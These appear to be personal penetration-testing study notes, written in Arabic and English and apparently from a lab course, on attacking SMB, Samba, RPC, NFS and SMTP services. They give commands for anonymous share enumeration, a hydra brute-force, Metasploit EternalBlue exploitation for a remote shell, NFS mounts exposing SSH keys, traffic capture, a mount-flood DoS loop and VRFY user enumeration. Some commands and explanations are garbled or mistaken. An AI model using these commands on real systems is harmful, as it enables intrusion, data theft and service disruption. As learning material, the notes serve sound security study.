

- في nmap يستخدم امر زي الموضح بالصوره عن طريق انك بتعمل scan الاول لو لقيت 445;139 pots مفتوحه بتبدا تستعمل ال scripts الجاهزه من الاداه

```

139/tcp open  netbios-ssn
445/tcp open  microsoft-ds

Host script results:
| smb-enum-shares:
|   ADMIN$:
|     Type: STYPE_DISKTREE_HIDDEN
|   C$:
|     Type: STYPE_DISKTREE_HIDDEN
|   HR:
|     Type: STYPE_DISKTREE
|     Comment: HR Department Documents

```

\$ admin

- هنا مثلا طلعك ان في اكثر من فايل متاح خلي بالك اي فايل جنبه \$ دا خاص بالادمن ما تحاولش تدخله لانك اساسا guest لحد ما قدر تعلي صلاحياتك

Scenario 1: SMB Share Enumeration

- SMBClient to List Shares

```

smbclient -L \\10.10.10.1 -N

```

Sharename	Type	Comment
ADMIN\$	Disk	Remote Admin
C\$	Disk	Default share
HR	Disk	HR Department Documents

- في smbclient بنحط -L عشان يعمل الملفات في شكل LIST
- اما -N بتكون عشان يدخل من غير V PASSWD

Scenario 1: SMB Share Enumeration

▪ : Enum4linux for Detailed Enumeration

```
enum4linux -a 10.10.10.1
```

This will show you more information about shred disks and the authenticated users to access and non-authenticated users

- و دس طريقه enum4linux خلي بالك ان دي اكر طريقه بتطلعك معلومات وتقدر تستفيد منها ف تعتبر احسن طريقه

```
mount.cifs //10.129.98.15/sambashare /home/kali user=,pass=
```

- خلي بالك انك تقدر تحمل او تاخذ نسخه من الفايل ال نت لاقيته عن طريق الامر دا

- الفايل كان اسمه sambashare

connect to the smb share using smbclient

```
smbclient \\10.10.10.1\Backup -N
```

- او ممكن كذا لكن طريقه mount احسن

```
mount -t nfs -o vers=3 192.168.1.1:/sambashare /home/kali
```

- ودي كمان طريقه mount افضل

```
hydra -i admin -P /path/to/password-list.txt smb://10.10.10.1
```

```
[445][smb] host: 10.10.10.1 login: admin password: admin123
```

- دلوقتي انت قدرت تدخل لكن مش معاك لسه user or pass
- ف بتشتغل بطريقة burteforce عشان توصل لأكونت جوا تاخد صلاحيات أكثر

Scenario 4: Exploiting SMB with EternalBlue

Exploit the **EternalBlue** vulnerability (CVE-2017-0144) to gain remote code execution on a vulnerable SMB server (Windows machine).

- آخر حاجه واشهر هجمه من 2017 لدلوقتي هي eternalblue
- ممكن تجبها من علي gethup ب CVE-2017-0143
- ابوه 143 انا مش غلطان

- 1- Nmap Scan to identify if the system is vulnerable to EternalBlue

```
nmap --script smb-vuln-ms17-010 -p 445 10.10.10.1
```

Host script results:

| smb-vuln-ms17-010:

| VULNERABLE:

| Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010)

- ممكن تعمل عليه SCAN بالطريقة دي
- و NMAP هتقولك اذا كان في ثغره او لا

If nmap showed that the target is vulnerable to the CVE

```
msfconsole  
use exploit/windows/smb/ms17_010_eternalblue  
set RHOST 10.10.10.1  
exploit
```

Once the exploit is successful, you'll have remote shell access to the target.

- يمكن تقدر تستغلها عن طريق matasploit وتفتح عليها reverse powershell

Server Message Block (SMB) is a client-server protocol that regulates access to files and entire directories and other network resources such as printers, routers, or interfaces released for the network. Information exchange between different system processes can also be handled based on the SMB protocol. **SMB** first became available to a broader public, for example, as part of the OS/2 network operating system **LAN Manager** and LAN Server. Since then, the main application area of the protocol has been the Windows operating system series in particular, whose network services support SMB in a downward-compatible manner - which means that devices with newer editions can easily communicate with devices that have an older Microsoft operating system installed. With the free software project Samba, there is also a solution that enables the use of SMB in Linux and Unix distributions and thus cross-platform communication via SMB.

- بروتوكول smb يربط بين الاجهز والشبكات الاخرى زي مثالا طابعه راوتر وغيره
- بيستعمل LAN لنقل الملفات

Samba

As mentioned earlier, there is an alternative implementation of the SMB server called Samba, which is developed for **Unix-based** operating systems. Samba implements the Common Internet File System (**CIFS**) network protocol. **CIFS** is a dialect of SMB, meaning it is a specific implementation of the SMB protocol originally created by Microsoft. This allows Samba to communicate effectively with newer Windows systems. Therefore, it is often referred to as SMB/CIFS.

However, **CIFS** is considered a specific version of the SMB protocol, primarily aligning with **SMB version 1**. When SMB commands are transmitted over Samba to an older NetBIOS service, connections typically occur over TCP ports **137**, **138**, and **139**. In contrast, CIFS operates over TCP port **445** exclusively. There are several versions of SMB, including newer versions like **SMB 2** and **SMB 3**,

- خلي بالك ان SMB بيكون على سيرفر ويتدوز
- اما اي نوع ثاني غير الويندوز بيكون samba

- عن طريق نقطه cifs

networking computers called the **Network Basic Input/Output System (NetBIOS)**. The NetBIOS API provided a blueprint for an application to connect and share data with **other computers**. In a NetBIOS environment, when a machine goes online, it needs a name, which is done through the so-called **name registration** procedure. Either each host reserves its hostname on the network, or the **NetBIOS Name Server (NBNS)** is used for this purpose. It also has been enhanced to **Windows Internet Name Service (WINS)**.

- عندك netbios بيستخدم لنقل البيانات بين الاجهزه وبعضها

```
hossamshady101@htb[/htb]$ cat /etc/samba/smb.conf | grep -v "#\\|\\|;"
```

- خلي بالك كل الملفات الحساسه بتبقى موجوده في /etc

```
root@samba:~# sudo systemctl restart smb
```

- نفس طريقه تشغيل اي خدمه systemctl عشان تشغل الخدمه

```
hossamshady101@htb[/htb]$ smbclient //10.129.14.128/notes
```

```
Enter WORKGROUP\<username>'s password:
Anonymous login successful
Try "help" to get a list of possible commands.
```

- ممكن تدور علي الملف بالطريقه دي بردو بس MOUNT احسن

with a definitive password server. The domain controllers keep track of users and passwords in their **own NTDS.dit** and **Security Authentication Module (SAM)** and authenticate each user when they log in for the first time and wish to access another machine's share.

- الملف دا موجود فيه كل حاجه خاصه بالمتستخدمين وكلمات السر الخاصه بيهم

The **Remote Procedure Call (RPC)** is a concept and, therefore, also a central tool to realize operational and work-sharing structures in networks and client-server architectures. The communication process via RPC includes passing parameters and the return of a function value.

RPCclient

```
hossamshady101@htb[/htb]$ rpcclient -U "" 10.129.14.128
Enter WORKGROUP's password:
can save to
```

- في ثعره ال RPC
- دا في حاله انك لو لقيت PORT 111 مفتوح
- تقدر تستخدم امر rpc client عشان تحاول تدخل علي السيرفر

```
hossamshady101@htb[/htb]$ samrdump.py 10.129.14.128

Impacket v0.9.22 - Copyright 2020 SecureAuth Corporation

[*] Retrieving endpoint list from 10.129.14.128
Found domain(s):
```

- بالنسبه ل samrdump بتحاول تاخذ نسخه من الملفات ال علي السيرفر ل جهازك

PORT	STATE	SERVICE
21/tcp	open	ftp
22/tcp	open	ssh
111/tcp	open	rpcbind
139/tcp	open	netbios-ssn
445/tcp	open	microsoft-ds
2049/tcp	open	nfs

- مثال بعد ما عملت scan

```
Nmap done: 1 IP address (1 host up) scanned in 3.41 seconds
[us-academy-1]-[10.10.14.72]-[htb-ac-880369@htb-snp3unnfk]-[~]
[*]$ rpcclient -U "" 10.129.209.40
Password for [WORKGROUP\]:
rpcclient $>
```

- ممكن تجرب طريقه anonymous مع RPC

- NFS (Network File System) allows users to access files over a network as if they were on local storage.
- Developed by Sun Microsystems in 1984

- بروتوكول NFS يسمح بتبادل البيانات بين السيرفرات والمستخدمين بشرط تكون علي localstorage

How NFS Works



NFS Operation:

- Uses Remote Procedure Calls (RPC) to manage file requests.
- Files are accessed via file handles.

Protocols Used:

- Typically runs over TCP/IP or UDP.111 or 2049

- خدمه RPC بتشتغل دايمًا مع بروتوكول NFS بتعمل اداره للداتا لو الفايل ال هيتم نقله \
- ممكن الخدمات دي تكون شغاله علي PORT 111 OR 2049

- Lack of encryption in older versions. NFS
- Vulnerable to IP spoofing and replay attacks.
- Misconfigured access permissions can expose sensitive data.
- Unauthorized Access
- Data Interception
- Denial of Service (DoS)

- اهم نقاط الضعف ال فيه عباره عن ان النسخ القديمه منه ممكن تقدر تكسر تشفيرها بسهولة
- ممكن تعمل MITM عليه
- ممكن يكون فيه Misconfiguration زي اغلب البرتوكولات
- ممكن بردو dos attack

Scenario 1 - Unauthorized Access



- The first scenario is to mount sensitive data from server as I can copy the data to my local pc
- We need to know first what are the data disks ins

```
showmount -e 10.129.14.128
```

```
Export list for 10.129.14.128:
```

```
/nfs_share      10.10.10.1  
/home/shared    *
```

- يمكن يكون اخطر سيناريو هو unauthorized Access
- طبعا تعمل scan ب namp اولا بعد ما تلاقي اي منفذ من 111/2049 مفتوح تبدأ تعمل الاتي
- تستخدم showmount -e +ip عشان تعرف اي الموجود علي السيرفر او الخدمة دي shared
- الملفات shared بتكون متعلمه ب * دي تقدر تشوفها

- The second thing that we need to download all of these data inside our local pc

```
mount -t nfs 10.10.10.1:/nfs_share /home/kali/
```

```
mount -t nfs -o vers=3 10.10.10.1:/nfs_share /home/kali/
```

```
$ ls /mnt/nfs  
file1.txt  
file2.docx  
confidential_data.xls
```

- نت عرفت اي المتاح او shared دلوقتي ننزله بالامر mount

Scenario 2 - Data Interception



- An attacker intercepts data between the NFS client and server.

```
sudo tcpdump -i eth0 port 2049
```

- We will capture all the requests between the server and client rpc

- ثاني سيناريو معاك بيكون انك تعمل data interception
- استعمل wireshark + ettercap

Denial of Service (DoS)



- This would make many requests to the server

```
for i in {1..100}; do mount -o nolock 10.10.10.1:/nfs_share /mnt/nfs_$i; done
```

```
mount: mount to NFS server failed: Connection timed out
```

```
Server logs: "Too many open connections", "Connection timed out"
```

- بالنسبة ل dos attack بيكون عن طريق امر زي دا
- او ممكن ping او hping3

program	version	port/proto	service
100000	2,3,4	111/tcp	rpcbind
100000	2,3,4	111/udp	rpcbind
100000	3,4	111/tcp6	rpcbind
100000	3,4	111/udp6	rpcbind
100003	3	2049/udp	nfs
100003	3	2049/udp6	nfs
100003	3,4	2049/tcp	nfs
100003	3,4	2049/tcp6	nfs

- سواء ظهرت لك nfs or rbc الاثنين شغالين لنفس الخدمة اشتغل عليهم باي سيناريو

```
hossamshady101@htb[/htb]$ mkdir target-NFS
hossamshady101@htb[/htb]$ sudo mount -t nfs 10.129.14.128:/ ./target-NFS/ -o noLock
hossamshady101@htb[/htb]$ cd target-NFS
hossamshady101@htb[/htb]$ tree .
```

```
.
├── mnt
│   └── nfs
│       ├── id_rsa
│       ├── id_rsa.pub
│       └── nfs.share
```

- وانت بتفتح اي ملف بعد ما وصلت ليه استخدم tree افضل هتوضحلك المحتوي بشكل احسن

Network Notes 2

Introduction to SMTP



- SMTP stands for **Simple Mail Transfer Protocol**.
- It is a protocol used for sending email messages between servers.
- Defined in **RFC 5321**.
- Works at the **Application Layer** (Layer 7 of the OSI Model).
- Primarily used for **outgoing email**, with protocols like IMAP/POP3 used for incoming email.

- ال (SMTP) protocol يستخدم لنقل ال Mails بين الشركات او الاشخاص
- ليه Standard معين هو RFC5321
- بيقي موجود ف خانه Application Layer
- في 2 protocol بييساعده هما IMAP/POP3

Introduction to SMTP



- The **Client** sends an email to an SMTP server.
- The **Server** checks the recipient's address and delivers the message.
- It works on **Port 25** (for relaying), **Port 587** (for submission), or **Port 465** (for encrypted connections).
- SMTP is a **text-based protocol**, meaning communication is done via simple text commands

- بيتأكد من ال Mails فين او لمين

- يستخدم ال port 25 دا الأشهر ويمكن برضو يستخدم 465 او 587

Introduction to SMTP



- HELO/EHLO: Identifies the client to the server.
- MAIL FROM: Specifies the sender's address.
- RCPT TO: Specifies the recipient's address.
- DATA: Starts the body of the email.
- QUIT: Ends the SMTP session.

- دول شويه اوامر

- الامر (HELO او EHLO) دا بيعمل زي Test كدا يشوف النظام شغال ولا لا
- الثاني (MAIL FROM) بيعرفك مين اللي باعت لك الرساله
- الثالث (RCPT TO) بيعرفك مين اللي هيستلم الرساله
- الامر (DATA) البيانات اللي هتتبع
- الامر (QUIT) بيقل ال Session
- في امر كمان اسمو (VRFY) بياكد ال user موجود ولا لا

```
VRFY root
250 2.1.5 root <root@victim-1>
VERY hossam
500 5.5.1 Command unrecognized: "VERY hossam"
VRFY hossam
550 5.1.1 hossam... User unknown
```